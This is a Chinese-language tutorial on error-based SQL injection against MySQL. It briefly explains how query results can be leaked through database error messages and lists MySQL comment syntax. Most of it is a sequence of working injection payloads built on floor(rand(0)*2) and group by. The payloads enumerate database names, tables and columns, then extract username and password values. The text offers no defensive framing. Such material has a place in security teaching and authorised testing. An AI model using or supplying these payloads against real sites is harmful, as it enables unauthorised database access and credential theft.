SQL注入之報錯型注入
介紹
聯合查詢可以把我們想要的資料展示在網頁上,替代網頁上原有的資料內容;而今天我們要討論的是,網頁上沒有展示查詢結果的地方,也就是說select語句執行結果不能出現在網頁上,我們需要讓執行結果出現在其它地方,出現在哪呢?出現在報錯語句中。
資料庫返回到頁面上的唯一資訊就是,mysql錯誤。因此,我們需要以一種方式處理我們的查詢,以便通過錯誤獲取資料庫資訊。查詢條件必須是正確的,能被後端資料庫解釋執行,且需產生一個邏輯錯誤,讓資料庫資訊伴隨錯誤字串返回。
前提
知識點:
- 子查詢
- information_schema
- 衍生表
註釋
mysql的註釋有4 種:
‘#’:# 開頭到行尾的都為註釋,只能註釋一行。
‘– ‘(2個減號 一個空格):-開頭到行尾都為註釋 , 只能註釋一行。
‘/xxx /’:可以註釋多行,但是一定要閉合,不然出錯。
‘/!xxx/’:可以跨行註釋,但是一定要閉合,不然出錯。
流程
公式
and (select 1 from (select count(*),concat((select(select(報錯語句))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
資料庫
and (select 1 from (select count(*),concat((select(select(select group_concat(schema_name) from information_schema.schemata))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
表
and (select 1 from (select count(*),concat((select(select(select group_concat(table_name) from information_schema.tables where table_schema=database()))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
欄位
and (select 1 from (select count(*),concat((select(select(select group_concat(column_name) from information_schema.columns where table_name=十六進位制))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
資料
and (select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from xxx limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
and (select 1 from (select count(*),concat((select(select(select distinct concat(‘~’,table_schema) from information_schema.tables limit 7,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+